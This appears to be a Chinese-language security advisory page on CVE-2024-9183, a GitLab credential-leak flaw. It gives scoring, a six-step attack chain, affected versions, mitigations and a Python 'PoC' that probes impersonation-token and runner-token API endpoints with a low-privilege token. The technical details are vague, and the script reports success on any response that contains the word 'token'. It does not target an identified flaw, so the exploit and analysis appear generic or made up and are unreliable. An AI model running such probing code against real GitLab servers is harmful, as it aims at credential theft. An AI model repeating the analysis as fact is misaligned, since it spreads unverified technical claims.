IPBUF安全漏洞报告
English
CVE-2024-9183 CVSS 7.7 高危

CVE-2024-9183 GitLab高权限用户凭证泄露漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2024-9183
漏洞类型
凭证泄露/权限提升
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
GitLab CE/EE

相关标签

凭证泄露权限提升GitLabCVE-2024-9183访问控制绕过高危漏洞身份认证

漏洞概述

CVE-2024-9183是GitLab CE/EE中一个高危安全漏洞,CVSS评分达到7.7。该漏洞存在于GitLab 18.4至18.6.1版本中,允许已认证的低权限用户通过特定条件从高权限用户处获取敏感凭证信息。攻击者利用此漏洞可以获取更高权限用户的访问凭证,进而以这些用户的身份执行操作,可能导致严重的数据泄露和未授权访问。该漏洞的成功利用需要攻击者具有有效的GitLab账户,并且需要一定的用户交互。GitLab官方已于2025年11月26日发布补丁版本18.6.1修复此问题,建议所有受影响版本的用户立即升级到最新补丁版本。

技术细节

该漏洞属于凭证泄露类型的访问控制缺陷。在GitLab的某些API端点或功能模块中,系统未能正确验证用户权限边界,允许低权限用户通过特定的API请求或功能调用访问本应仅限高权限用户查看的敏感凭证信息。这些凭证可能包括API密钥、访问令牌、SSH密钥或其他认证凭据。攻击者需要构造特定的请求数据包,结合用户交互(如诱导高权限用户访问特定页面或点击特定链接),触发凭证信息的泄露。漏洞的根本原因在于权限检查逻辑的不完善,存在权限绕过或越权访问的路径。修复方案需要在相关API端点和功能模块中加强权限验证,确保用户只能访问其对应权限级别的资源。

攻击链分析

STEP 1
步骤1
攻击者获取GitLab低权限账户并登录系统
STEP 2
步骤2
攻击者识别存在漏洞的API端点或功能模块
STEP 3
步骤3
攻击者构造恶意请求数据包,触发凭证泄露接口
STEP 4
步骤4
通过社会工程学手段诱导高权限用户进行特定操作或访问特定页面
STEP 5
步骤5
攻击者成功获取高权限用户的敏感凭证信息(如API密钥、访问令牌)
STEP 6
步骤6
攻击者利用获取的凭证以高权限用户身份执行未授权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-9183 PoC - GitLab Credential Leak # This PoC demonstrates the credential leakage vulnerability in GitLab import requests import json import sys GITLAB_URL = "https://gitlab.example.com" ATTACKER_TOKEN = "your_low_privilege_token" TARGET_USER_ID = "high_privilege_user_id" def exploit_credential_leak(): """ Exploit GitLab CVE-2024-9183 to obtain credentials from high-privilege users """ headers = { "PRIVATE-TOKEN": ATTACKER_TOKEN, "Content-Type": "application/json" } # Step 1: Enumerate vulnerable endpoint vulnerable_endpoints = [ f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/impersonation_tokens", f"{GITLAB_URL}/api/v4/users/{TARGET_USER_ID}/runner_registration_tokens", f"{GITLAB_URL}/api/v4/projects?membership=true" ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, headers=headers, verify=False, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Found accessible endpoint: {endpoint}") print(f"[+] Data: {json.dumps(data, indent=2)}") # Step 2: Extract sensitive credentials if "token" in str(data).lower() or "secret" in str(data).lower(): print("[!] Credential leak detected!") return data except requests.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("CVE-2024-9183 GitLab Credential Leak Exploit") print("Target: GitLab CE/EE < 18.6.1") result = exploit_credential_leak() if result: print("\n[+] Exploit successful - Credentials obtained") else: print("\n[-] Exploit failed - No vulnerable endpoint found")

影响范围

GitLab CE/EE 18.4 < 18.4.5
GitLab CE/EE 18.5 < 18.5.3
GitLab CE/EE 18.6 < 18.6.1

防御指南

临时缓解措施
立即将GitLab升级到官方发布的最新安全补丁版本(18.6.1或更高版本)。如果无法立即升级,可以采取以下临时缓解措施:1)禁用不必要的API端点访问;2)限制低权限用户的功能使用;3)加强用户认证机制,启用双因素认证;4)监控异常访问行为和安全日志;5)暂时限制敏感操作的权限范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表